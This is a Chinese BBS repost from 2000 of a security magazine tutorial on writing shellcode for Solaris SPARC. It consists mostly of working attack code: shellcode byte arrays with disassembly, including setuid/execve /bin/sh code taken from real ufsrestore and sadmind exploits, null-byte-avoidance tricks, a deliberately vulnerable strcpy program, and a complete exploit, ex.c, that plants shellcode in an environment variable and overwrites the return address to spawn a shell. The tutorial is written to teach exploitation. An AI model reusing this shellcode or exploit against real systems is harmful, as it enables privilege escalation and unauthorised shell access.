荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: Sealed (loving you!), 信区: Hacker
标  题: solaris for sparc下shellcode的编写(3)
发信站: BBS 荔园晨风站 (Wed Jun  7 18:24:45 2000), 转信



  所有系统 Linux UNIX Windows Other



  首页 >> 资料文献 >> Unix

  solaris for sparc下shellcode的编写(三)

发布日期: 2000-5-18
内容:
--------------------------------------------------------------------------------

--- 摘自<<绿盟月刊>>第九期

◆ solaris for sparc下shellcode的编写(三)

主页:http://www.isbase.com
作者:warning3 < mailto: warning3@hotmail.com >
      scz      < mailto: cloudsky@263.net >
日期:04-18-2000

概述:

    本文详尽描述了在SPARC架构下的问题程序和攻击程序,给出了验证shellcode
    的标准样板,有助于理解exploit code

测试:

    SunOS 5.7 Generic sun4u sparc SUNW,Ultra-5_10

目录:

    1. ufsrestore solaris 2.4, 2.5, 2.5.1, 2.6 exploit code分析
    2. "传统的"Linux溢出技术在sparc下的失败
    3. 移动堆栈指针预留空间
    4. 一段比较"传统的"shellcode
    5. sadmind exploit code for Solaris 2.6 and 7.0 (SPARC)分析
    6. 一个问题程序vul.c
    7. 攻击程序ex.c

1. ufsrestore solaris 2.4, 2.5, 2.5.1, 2.6 exploit code分析

下面的shellcode来自对ufsrestore的exploit code,我们利用.byte把这些code直接
嵌入,就象当初在MSDOS下用db一样。

--------------------------------------------------------------------------
/* John McDonald < mailto: jmcdonal@unf.edu > */
/* gcc -g -ggdb -static -o ufscode ufscode.c  */
int main ()
{
    __asm__
    ("
        .byte 0x90, 0x08, 0x3f, 0xff, 0x82, 0x10, 0x20, 0x8d
        .byte 0x91, 0xd0, 0x20, 0x08, 0x90, 0x08, 0x3f, 0xff
        .byte 0x82, 0x10, 0x20, 0x17, 0x91, 0xd0, 0x20, 0x08
        .byte 0x2d, 0x0b, 0xd8, 0x9a, 0xac, 0x15, 0xa1, 0x6e
        .byte 0xae, 0x10, 0x2b, 0xdc, 0xaf, 0x2d, 0xe0, 0x01
        .byte 0xae, 0x05, 0xe0, 0x01, 0xaf, 0x2d, 0xe0, 0x01
        .byte 0xae, 0x05, 0xe0, 0x01, 0xaf, 0x2d, 0xe0, 0x01
        .byte 0xaf, 0x2d, 0xe0, 0x01, 0xae, 0x05, 0xe0, 0x01
        .byte 0xaf, 0x2d, 0xe0, 0x01, 0xae, 0x05, 0xe0, 0x01
        .byte 0xaf, 0x2d, 0xe0, 0x01, 0xaf, 0x2d, 0xe0, 0x01
        .byte 0xae, 0x05, 0xe0, 0x01, 0xaf, 0x2d, 0xe0, 0x01
        .byte 0xaf, 0x2d, 0xe0, 0x0a, 0x90, 0x0b, 0x80, 0x0e
        .byte 0x92, 0x03, 0xa0, 0x08, 0x94, 0x1a, 0x80, 0x0a
        .byte 0x9c, 0x03, 0xa0, 0x10, 0xec, 0x3b, 0xbf, 0xf0
        .byte 0xdc, 0x23, 0xbf, 0xf8, 0xc0, 0x23, 0xbf, 0xfc
        .byte 0x82, 0x10, 0x20, 0x3b, 0x91, 0xd0, 0x20, 0x08
        .byte 0x90, 0x1b, 0xc0, 0x0f, 0x82, 0x10, 0x20, 0x01
        .byte 0x91, 0xd0, 0x20, 0x08
    ");
}  /* end of main */
--------------------------------------------------------------------------

用gdb反汇编得到的代码如下:

--------------------------------------------------------------------------
0x101b8 <main>    : save %sp, -112, %sp      ! 寄存器压栈保护
0x101bc <main+4>  : and  %g0, -1, %o0        ! 0 in o0
0x101c0 <main+8>  : mov  0x8d, %g1           ! seteuid(0)
0x101c4 <main+12> : ta   8
0x101c8 <main+16> : and  %g0, -1, %o0        ! 0 in o0
0x101cc <main+20> : mov  0x17, %g1           ! setuid(0)
0x101d0 <main+24> : ta   8
0x101d4 <main+28> : sethi %hi(0x2f626800), %l6
0x101d8 <main+32> : or   %l6, 0x16e, %l6     ! 0x2f62696e
0x101dc <main+36> : mov  0xbdc, %l7          ! 不明白为什么要如此愚蠢
0x101e0 <main+40> : sll  %l7, 1, %l7         ! 可能ufsrestore会过滤某些
0x101e4 <main+44> : inc  %l7                 ! 字符,所以采用这种方式构建
0x101e8 <main+48> : sll  %l7, 1, %l7
0x101ec <main+52> : inc  %l7
0x101f0 <main+56> : sll  %l7, 1, %l7
0x101f4 <main+60> : sll  %l7, 1, %l7
0x101f8 <main+64> : inc  %l7
0x101fc <main+68> : sll  %l7, 1, %l7
0x10200 <main+72> : inc  %l7
0x10204 <main+76> : sll  %l7, 1, %l7
0x10208 <main+80> : sll  %l7, 1, %l7
0x1020c <main+84> : inc  %l7
0x10210 <main+88> : sll  %l7, 1, %l7
0x10214 <main+92> : sll  %l7, 0xa, %l7       ! /bin/sh 构建完成
0x10218 <main+96> : and  %sp, %sp, %o0       ! %o0为当前堆栈指针
0x1021c <main+100>: add  %sp, 8, %o1         ! %o1将来保存字符串指针
0x10220 <main+104>: xor  %o2, %o2, %o2       ! %o2清零,准备调用execve()
0x10224 <main+108>: add  %sp, 0x10, %sp      ! 留出16个字节的空间
0x10228 <main+112>: std  %l6, [ %sp + -16 ]  ! /bin/sh,%o0指向这里
0x1022c <main+116>: st   %sp, [ %sp + -8 ]   ! 这里应该是%o0,都抄来的code
0x10230 <main+120>: clr  [ %sp + -4 ]        ! 这一步有必要
0x10234 <main+124>: mov  0x3b, %g1           ! execve( /bin/sh ... ... )
0x10238 <main+128>: ta   8
0x1023c <main+132>: xor  %o7, %o7, %o0       ! _exit(0),清零没有必要
0x10240 <main+136>: mov  1, %g1
0x10244 <main+140>: ta   8
0x10248 <main+144>: ret
0x1024c <main+148>: restore                  ! 作为ret指令的延迟插槽执行
--------------------------------------------------------------------------

可以看出,大家都受到aleph one文章的影响,而且shellcode估计都是没有仔细参详
过,同样的小BUG出现在迄今为止我们所能检验到的代码中。不过以后我们自己提供
的shellcode将修正简化。此外,solaris下所有系统调用的值都可以从
/usr/include/sys/syscall.h中找到。

可能有人要问的问题是,为什么不采用"传统的"Linux溢出技术?

2. "传统的"Linux溢出技术在sparc下的失败

下面是tt提供的一段用于研究shellcode的代码:

--------------------------------------------------------------------------
/* warning3 < mailto: warning3@hotmail.com > */
/* gcc -g -ggdb -static -o tt tt.c           */
int main ()
{
    __asm__
    ("
        call shell             ! 跳到shell:处执行
        and  %sp, %sp, %o1     ! 作为延迟插槽执行,将当前堆栈指针付给%o1
    begin:
        xor  %o2, %o2, %o2     ! 将%o2清零
        add  %sp, 8, %sp       ! 堆栈向高址移动8字节,用来储存/bin/sh的地址
        st   %o0, [ %sp - 8 ]  ! 将字符串指针放到%o1处
        clr  [ %sp - 4 ]       ! NULL结束
        mov  0x3b, %g1         ! execve( /bin/sh ... ... )
        ta   8
        xor  %o7, %o7, %o0     ! _exit(0)
        mov  1, %g1
        ta   8
    shell:
        call begin             ! call指令导致shell:地址放入%o7
        add  %o7, 8, %o0       ! 作为延迟插槽执行,将/bin/sh地址放入%o0中
        .asciz  \"/bin/sh\"
    ");
}
--------------------------------------------------------------------------

用gdb取得shellcode如下:

0x40 0x00 0x00 0x0b call shell  <-- -- -- 0x0b应该是说有11条指令间隔
0x92 0x0b 0x80 0x0e and  %sp, %sp, %o1
0x94 0x1a 0x80 0x0a xor  %o2, %o2, %o2
0x9c 0x03 0xa0 0x08 add  %sp, 8, %sp
0xd0 0x23 0xbf 0xf8 st   %o0, [ %sp - 8 ]
0xc0 0x23 0xbf 0xfc clr  [ %sp - 4 ]
0x82 0x10 0x20 0x3b mov  0x3b, %g1
0x91 0xd0 0x20 0x08 ta   8
0x90 0x1b 0xc0 0x0f xor  %o7, %o7, %o0
0x82 0x10 0x20 0x01 mov  1, %g1
0x91 0xd0 0x20 0x08 ta   8
0x7f 0xff 0xff 0xf7 call begin  <-- -- -- 0xf7应该是说有9条指令间隔
0x90 0x03 0xe0 0x08 add  %o7, 8, %o0
0x2f 0x62 0x69 0x6e .asciz  \"/bin/sh\"
0x2f 0x73 0x68 0x00

sparc下每条指令都是4字节,call shell做了正向小跳转,导致偏移中出现了两个
0x00,显然,这样的shellcode是无法作为字符串参数被传递进问题函数的,所以要
想使用"传统的"Linux溢出技术,必须做些修正。也许你能想到很多理论上可行的办
法,比如动态构建call指令,值得注意的是,call指令做反向小跳转的时候,偏移中
出现的是两个0xff。在sparc下nop指令的机器码是 0x01 0x00 0x00 0x00,而非x86
下的0x90,基于同样的理由,sparc下shellcode中是无法利用nop指令的。

为什么不用jmp指令,在sparc下,jmp address ---- jmpl address, %g0 ,但是
jmp label是不存在的,call label存在。而且sparc下,
call reg_or_imm ---- jmpl reg_or_imm, %o7 ,call指令并不直接导致堆栈变化,
在控制流转移发生前,%o7保存了$pc。所以,在那些传统的使用jmp指令的地方,我
们完全可以使用call指令代之。那么,不使用label而直接使用address呢,可惜我不
知道对于jmp指令,这个address如何指定相对偏移,哪位知道请指点一下。

(

2000-04-19增加

对jmp指令编码如下:

0x81 0xc0 0x20 0x00
jmp  %g0
10 00000 111000 00000 1 0000000000000
op  %g0    op3   %g0    signed constant

用gdb单步,发现jmp后面的13bits的signed constant对应的是绝对地址,并且取值
范围就是 -4096 到 +4095。所以,一般情况下,jmp语句已经没有任何意义,这些
地址是要么不可访问,要么位于堆栈中。不过对于shellcode,倒是有可能利用一下,
因为-4096就是0xfffff000。也不一定,我没有进一步研究。

)

此外,在solaris for sparc的汇编语言中,定义字符串可以用.asciz,如上所示。

这里需要提醒的是,几乎所有的控制流转移指令都需要在其后增加一个延迟插槽,延
迟插槽会在控制流转移发生前被执行,这也就是 and  %sp, %sp, %o1 等指令被执行
的原因。但不是全部的控制流转移指令都需要延迟插槽,后面我们会看到bn,a label
指令就不需要延迟插槽。

那么,为什么要用 add  %sp, 4, %sp 来预留空间,用 sub %sp, 4, %sp 什么结果?

3. 移动堆栈指针预留空间

可能有人要问,为什么%sp向高址移动留出空间,而不是象常见的那样向低址移动,
这样难道不会破坏原有数据吗。其实这是无所谓的,因为当执行到 add %sp的时候,
已经是在执行我们的shellcode了,而执行到我们的shellcode意味着用于覆盖返回地
址的其他技术手段已经生效,覆盖并成功跳转了程序流程,此时如何使用内存都无关
紧要,本来就不打算再留下以前进程的什么信息,你所需要的是这个shellcode提供
的shell。可以按照常规思路让%sp向低址移动留出空间,需要修改代码使得%o0、%o1
的值正确。

--------------------------------------------------------------------------
/* scz < mailto: cloudsky@263.net >  */
/* gcc -g -ggdb -static -o scz scz.c */
int main ()
{
    __asm__
    ("
        call shell             ! 跳到shell:处执行
        sub  %sp, 8, %o1       ! 作为延迟插槽执行
    begin:
        xor  %o2, %o2, %o2     ! 将%o2清零
        st   %o0, [ %sp - 8 ]  ! 将字符串指针放到%o1处
        st   %g0, [ %sp - 4 ]  ! NULL结束
        mov  0x3b, %g1         ! execve( /bin/sh ... ... )
        ta   8
        xor  %o0, %o0, %o0     ! %o0清零
        mov  1, %g1            ! _exit(0)
        ta   8
    shell:
        call begin             ! call指令导致shell:地址放入%o7
        add  %o7, 8, %o0       ! 作为延迟插槽执行,将/bin/sh地址放入%o0中
        .asciz  \"/bin/sh\"
    ");
}  /* end of main */
--------------------------------------------------------------------------

当然,这段代码依旧存在call指令正向小跳转的问题,还是无法用做shellcode。

4. 一段比较"传统的"shellcode

tt和我在仔细研究了sparc下的汇编语言之后,总结出如下代码:

--------------------------------------------------------------------------
/* warning3 < mailto: warning3@hotmail.com > */
/* scz      < mailto: cloudsky@263.net >     */
/* gcc -g -ggdb -static -o code code.c       */
int main ()
{
    __asm__
    ("
    bn,a    .-4             ! 跳转去执行call .-4指令
    bn,a    .-4             ! 跳转去执行xor %o2, %o2, %o2
    call    .-4             ! 跳转去执行前面这条bn,a .-4指令
    xor     %o2, %o2, %o2   ! 作为延迟插槽被执行一次,bn,a跳转后又执行一次
    add     %o7, 52, %o0    ! %o7 + 52 指向/bin/sh
    and     %sp, %sp, %o1   ! %o1指向字符串指针
    add     %sp, 8, %sp     ! 留出空间存放字符串指针
    st      %o0, [%sp - 8]  ! 存放字符串指针
    st      %g0, [%sp - 4]  ! NULL结束
    clrb    [ %o0 + 7 ]     ! /bin/sh尾部清零
    mov     0x3b, %g1       ! execve( /bin/sh ... )
    ta      8
    xor     %o7, %o7, %o0   ! _exit(0)
    mov     1, %g1
    ta      8
    .ascii  \"/bin/sh\"
    .byte   0x00            ! 编译对齐需要,提取shellcode时不需要
    ");
}  /* end of main */
--------------------------------------------------------------------------

这段代码编译后只能用gdb提取shellcode,却无法象以前的那些例子直接执行验证,
因为 clrb [ %o0 + 7 ] 和 st %o0, [ %o1 ] 两条指令。如果这段代码将来作为
shellcode被传递进入stack,则可以执行,而在这里直接执行意味着要修改代码段,
可惜在保护模式的操作系统下,代码段一般都是只读的,如果./code执行,会得到如
下错误,段错误 (core dumped)。提取shellcode如下:

char shellcode[] =
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x94\x1a\x80\x0a"
"\x90\x03\xe0\x34\x92\x0b\x80\x0e\x9c\x03\xa0\x08\xd0\x23\xbf\xf8"
"\xc0\x23\xbf\xfc\xc0\x2a\x20\x07\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08\x2f\x62\x69\x6e"
"\x2f\x73\x68";

代码还是有点技巧性的:

1) bn,a label指令的效果是 $pc + 8 ,和label是什么没有关系,作为控制流转移
   指令,与call/ret等指令不同,不需要在其后紧跟延迟插槽,其后紧跟的指令也
   不会作为延迟插槽而被执行。

2) .表示当前偏移,那么.-4就是 $pc -4 。bn,a label指令的最终跳转地址虽然和
   label无关,但是编译成机器码后,如果是正向小跳转,会出现0x00,反向小跳转
   出现的是0xff。所以这里使用.-4,使得机器码中的偏移量无0x00,如果你要使用
   .-8也可以。但是call .-4里的.-4是影响最终跳转地址的,不能修改。

   之所以要先来两条 bn,a .-4 指令,然后才是call指令,也是避免call指令的机
   器码偏移中出现0x00。

   不要告诉我,你不会区分.和$pc,前者是静态的,后者是动态的,前者在编译时
   计算取得,后者在运行时取得。

3) call指令和两条bn,a指令配合,既取得%pc,又避免了0x00的出现。你自己可以看
   看,如果call指令和一条bn,a指令配合时什么流程,而只使用call指令时又是什
   么流程。

4) 此外,我们也可以向低址移动堆栈指针留出空间,不一定非要向高址移动堆栈指
   针。

在研究shellcode for solaris(sparc)的过程中,我们显然可以理解大量现有的
shellcode为什么采用看似希奇古怪的技术,主要就是为了避免0x00出现在shellcode
中,毕竟sparc架构下汇编语言和x86架构下汇编语言很不同的。

5. sadmind exploit code for Solaris 2.6 and 7.0 (SPARC)分析

下面的exploit code来自sadmind exploit code for Solaris 2.6 and 7.0 (SPARC)
增加了详细注释:

--------------------------------------------------------------------------
/*
* Cheez Whiz < mailto: cheezbeast@hotmail.com > */
* June 24, 1999
*/
char shellcode[] =
"\x20\xbf\xff\xff"  /* bn,a .-4                      !                   */
"\x20\xbf\xff\xff"  /* bn,a .-4                      !                   */
"\x7f\xff\xff\xff"  /* call .-4                      !                   */
"\x90\x03\xe0\x5c"  /* add  %o7, 92, %o0             ! %o0指向/bin/sh    */
"\x92\x22\x20\x10"  /* sub  %o0, 16, %o1             ! %o1指向字符串指针 */
"\x94\x1b\xc0\x0f"  /* xor  %o7, %o7, %o2            ! %o2清零           */
"\xec\x02\x3f\xf0"  /* ld   [ %o0 - 16 ], %l6        ! 0xffffffff => %l6 */
"\xac\x22\x80\x16"  /* sub  %o2, %l6, %l6            ! 1 => %l6          */
"\xae\x02\x60\x10"  /* add  %o1, 16, %l7             ! %l7指向/bin/sh    */
"\xee\x22\x3f\xf0"  /* st   %l7, [ %o0 - 16 ]        ! %o1指向字符串指针 */
"\xae\x05\xe0\x08"  /* add  %l7, 8, %l7              ! %l7指向-c         */
"\xc0\x2d\xff\xff"  /* stb  %g0, [ %l7 - 1 ]         ! /bin/sh尾部清零   */
"\xee\x22\x3f\xf4"  /* st   %l7, [ %o0 - 12 ]        ! 存放指向-c的指针  */
"\xae\x05\xe0\x03"  /* add  %l7, 3, %l7              !                   */
"\xc0\x2d\xff\xff"  /* stb  %g0, [ %l7 - 1 ]         ! -c尾部清零        */
"\xee\x22\x3f\xf8"  /* st   %l7, [ %o0 - 8 ]         ! 指向NULL的指针    */
"\xae\x05\xc0\x16"  /* add  %l7, %l6, %l7            ! %l7 + 1           */
"\xc0\x2d\xff\xff"  /* stb  %g0, [ %l7 - 1]          ! 以空串结尾        */
"\xc0\x22\x3f\xfc"  /* st   %g0, [ %o0 - 4 ]         ! 指针数组尾部清零  */
"\x82\x10\x20\x3b"  /* mov  0x3b, %g1                ! execve()          */
"\x91\xd0\x20\x08"  /* ta   8                        !                   */
"\xff\xff\xff\xff"  /* .byte 0xff, 0xff, 0xff, 0xff  ! 存放/bin/sh指针   */
"\xff\xff\xff\xff"  /* .byte 0xff, 0xff, 0xff, 0xff  ! 存放-c指针        */
"\xff\xff\xff\xff"  /* .byte 0xff, 0xff, 0xff, 0xff  ! 存放指针          */
"\xff\xff\xff\xff"  /* .byte 0xff, 0xff, 0xff, 0xff  ! 存放指针          */
                    /* .ascii \"/bin/sh\"            !                   */
                    /* .byte 0xff                    !                   */
                    /* .ascii \"-c\"                 !                   */
                    /* .byte 0xff                    !                   */
                    /* .byte 0xff                    ! 编译对齐需要      */
"\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff";
--------------------------------------------------------------------------

上面shellcode所做的工作用c语言描述一下,类似于如下程序:

--------------------------------------------------------------------------
/* gcc -g -ggdb -static -o scz scz.c */
#include <stdio.h>
int main ( int argc, char * argv[] )
{
    char * name[4];

    name[0] = "/bin/sh";
    name[1] = "-c";
    name[2] = "";
    name[3] = NULL;
    execve( name[0], name, NULL );
    return 0;
}  /* end of main */
--------------------------------------------------------------------------

显然,name[2] = ""; 是准备为 -c 提供参数用的,在exploit code中有其他代码来
完成这个工作,而这里提取的shellcode直接使用无法完成有意义的工作。

同样,你无法用.byte直接嵌入机器码来验证这段shellcode,代码段只读问题依旧。

6. 一个问题程序vul.c

--------------------------------------------------------------------------
/*
* vul.c
* written by warning3
* mailto: warning3@hotmail.com
* if you compile it as follow
*     gcc -static -o vul vul.c
* then
*    no buffer overflow
* so you should use dynamic option
*    gcc -o vul vul.c
*/
func ( char * str )
{
    char buf[8];
    strcpy( buf, str );
    printf( "%s\n", buf );
}
int main ( int argc, char * argv[] )
{
    if ( argc > 1 )
    {
        func( argv[1] );
    }
}  /* end of main */
--------------------------------------------------------------------------

在研究中发现,如果使用了-static选项编译,居然无法导致缓冲区溢出。

[scz@ /space/staff/scz/src]> gcc -static -o vul vul.c
[scz@ /space/staff/scz/src]> ./vul `perl -e 'print "A"x8'`
AAAAAAAA
[scz@ /space/staff/scz/src]> ./vul `perl -e 'print "A"x18'`
AAAAAAAAAAAAAAAAAA
[scz@ /space/staff/scz/src]> ./vul `perl -e 'print "A"x28'`
AAAAAAAAAAAAAAAAAAAAAAAA
[scz@ /space/staff/scz/src]> ./vul `perl -e 'print "A"x108'`
AAAAAAAAAAAAAAAAAAAAAAAA
[scz@ /space/staff/scz/src]>

而使用动态链接库之后,就可以迫使问题程序发生缓冲区溢出。

[scz@ /space/staff/scz/src]> gcc -o vul vul.c
[scz@ /space/staff/scz/src]> ./vul `perl -e 'print "A"x8'`
AAAAAAAA
[scz@ /space/staff/scz/src]> ./vul `perl -e 'print "A"x18'`
AAAAAAAAAAAAAAAAAA
[scz@ /space/staff/scz/src]> ./vul `perl -e 'print "A"x28'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
[scz@ /space/staff/scz/src]> ./vul `perl -e 'print "A"x88'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA
总线错误 (core dumped)
[scz@ /space/staff/scz/src]>

怀疑有毛病的strcpy版本位于动态链接库中,而相应的静态版本可能做了某种强制性
限制。

7. 攻击程序ex.c

下面是tt提供的一个exploit code,使用环境变量传递shellcode,我加上了详细注
释,如果还是看不懂,请参看以前的关于缓冲区溢出的技术文章。

--------------------------------------------------------------------------
/*
* ex.c
* written by warning3
* mailto: warning3@hotmail.com
* gcc -o ex ex.c
*/

#include <stdio.h>

/*
* 待溢出缓冲区本身的大小
* 这个值通过argv[1]来调整,对于我们用来演示的问题程序vul.c,该值始终是8
* 但是对于那些无源代码可参考的问题程序,需要自己去猜测调整该值
*/
#define BUFSIZE 8

/*
* 环境变量长度
* shellcode放在环境变量中,这是aleph one的经典做法
* 需要理解execl()将使用当前环境变量构造新进程的环境变量
*/
#define EGGSIZE 1024

/*
* 定义NOP指令
* 这里是xor %l5, %l5, %l5 ,其实这个NOP是随你自己定义的,只要不影响程序流
* 程,还需要对应的机器码不出现0x00,否则无法作为字符串参数使用
* SPARC架构是big endian的,所以下面的定义实际对应0xaa 0x1d 0x40 0x15,从
* 低址向高址
*
* 我们无法象Intel x86架构那样使用单字节的NOP指令0x90,在SPARC架构下,真正
* 的NOP指令对应0x01 0x00 0x00 0x00,含有0x00的NOP指令是无法用在shellcode
* 中的
*
* 这里定义的NOP指令是4字节的,对于SPARC架构,要求指令位于4字节边界上,所以
* 不能简单地在shellcode的前部填充NOP指令,需要其他参数调整,使得NOP指令本
* 身位于4字节边界上,否则一般导致总线错误
*/
#define NOP 0xaa1d4015

/*
* 定义一个偏移量
* 该偏移量对应当前堆栈指针%sp到环境变量区域的偏移量,通过argv[2]调整该偏
* 移量,结合get_sp(),猜测计算确定覆盖用的返回地址,因为shellcode位于环境
* 变量区域
*
* 环境变量一般都在堆栈的高址方向,所以offset一般是正向偏移
*/
#define OFFSET 1204

/*
* 定义一个对齐偏移
* 该值通过argv[3]调整,用于调整NOP指令的位置,使之出现在4字节边界上
* 显然该值取值范围是 [ 0 - 3 ]
*/
#define ALIGN 1

/*
* 下面是内部搞笑版的shellcode,带有isbase烙印,纯属搞笑,可以用任意你能理
* 解其意义的有效shellcode代之。这里的烙印为 Isbase:)
*
* 执行/bin/sh
*/
char isbase_code[] =
"\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29"
"\x7f\xff\xff\xff\x94\x1a\x80\x0a\x92\x03\xe0\x3c\xc0\x2a\x60\x0a"
"\xc0\x2a\x60\x02\xc0\x23\xbf\xfc\xd2\x23\xbf\xf8\x90\x02\x60\x03"
"\xd0\x23\xbf\xf4\x92\x23\xa0\x0c\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08\x2d\x70\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\xff\xff";

/*
* SPARC架构下,对于被调函数,返回值放在%i0寄存器,主调函数从%o0寄存器获取
* 返回值
*
* 取得当前堆栈指针。execl()得到的新进程的堆栈指针应该和该值相差不远,用于
* 猜测shellcode的地址,并用猜测得到的地址覆盖问题函数的返回地址
*/
long get_sp ( void )
{
    __asm__
    ("
        mov %sp, %i0
    ");
}  /* end of get_sp */

int main ( int argc, char * argv[] )
{
    /*
     * 提供给问题程序的命令行参数
     * 需要精心构造该命令行参数,确保成功覆盖问题函数的返回地址
     */
    char * pattern           = NULL;
    long   patternsize;
    long   align             = ALIGN;
    long   offset            = OFFSET;
    long   retaddr;  /* 用于覆盖的返回地址 */
    long * addrptr;  /* 用于设置pattern中的返回地址 */
    char   eggbuf[ EGGSIZE ] = "";
    long   bufsize           = BUFSIZE;
    long   i;

    printf( "Usage: %s <bufsize> <offset> <align>\n\n", argv[0] );
    if ( argc > 1 )
    {
        bufsize = atoi( argv[1] );  /* 对于vul.c来说就是8 */
    }
    if ( argc > 2 )
    {
        offset = atoi( argv[2] );  /* 用于猜测环境变量的地址 */
    }
    if ( argc > 3 )
    {
        align =  atoi( argv[3] );  /* 用于调整环境变量中代码的对齐 */
    }
    /* solaris/sparc下,环境变量依旧在高址方向 */
    retaddr = get_sp() + offset;  /* 猜测环境变量的地址 */
    printf( "Using retaddr = 0x%x, bufsize = %d, offset = %d, align = %d\n",
            retaddr, bufsize, offset, align );
    /* 局部变量 + 保留区域 + 16个寄存器 + 结尾的0 */
    patternsize = bufsize + 4 * 4 + 16 * 4 + 1;
    if( ( pattern = ( char * )malloc( patternsize ) ) == NULL )
    {
        printf( "Can't get enough memory\n" );
        exit( -1 );
    }
    memset( pattern, 'A', patternsize );  /* fill pattern buffer with garbage */
    addrptr = ( long * )( pattern + bufsize + 4 * 4 );  /* addrptr现在指向寄存器
区域 */
    /* %l0 - %l7 %i0 - %i7 */
    for ( i = 0; i < 16; i++ )
    {
        *addrptr++ = retaddr;  /* 最后一个%i7是返回地址 */
    }
    /* 构造shellcode */
    memset( eggbuf, 'A', EGGSIZE );
    /*
     * align用于调整环境变量中的代码对齐
     * 先用NOP指令填充满环境变量
     */
    for ( i = align; i < EGGSIZE; i += 4 )
    {
        eggbuf[ i + 3 ] = NOP & 0xff;  /* sparc架构是 big endian */
        eggbuf[ i + 2 ] = ( NOP >> 8 ) & 0xff;
        eggbuf[ i + 1 ] = ( NOP >> 16 ) & 0xff;
        eggbuf[ i + 0 ] = ( NOP >> 24 ) & 0xff;
    }
    memcpy( eggbuf + align+ 800, isbase_code, strlen( isbase_code ) );
    memcpy( eggbuf, "EGG=", 4 );  /* 环境变量 */
    putenv( eggbuf );
    execl( "./vul", "./vul", pattern, NULL );
}  /* end of main */
--------------------------------------------------------------------------

这个ex.c的意义在于,从此可以全面验证各种版本的shellcode,而不受代码段只读
的限制。

简单编译后经测试,对于普通用户使用缺省的 ./ex 8 1204 1 就可以溢出成功,对
于root用户,需要调整align,./ex 8 1204 0 即可溢出成功。

调整这个程序的关键在于如下几点:

1) NOP指令应该位于4字节边界上
2) 环境变量区在堆栈高址方向
3) 合理利用core文件观察环境变量区的大致位置

< 待续 >






版权所有,未经许可,不得转载
欢迎访问我们的站点http://www.isbase.com/
绿色兵团给您安全的保障





 关于我们   合作伙伴   绿盟月刊   安全论坛   系统漏洞   安全文献   工具介绍   服
务项目   客户专区

--------------------------------------------------------------------------------

绿盟计算机网络安全技术有限公司版权所有   联系:isbase@isbase.net
&copy; 1999,2000 isbase Corporation. All rights Reserved.

--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.106]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店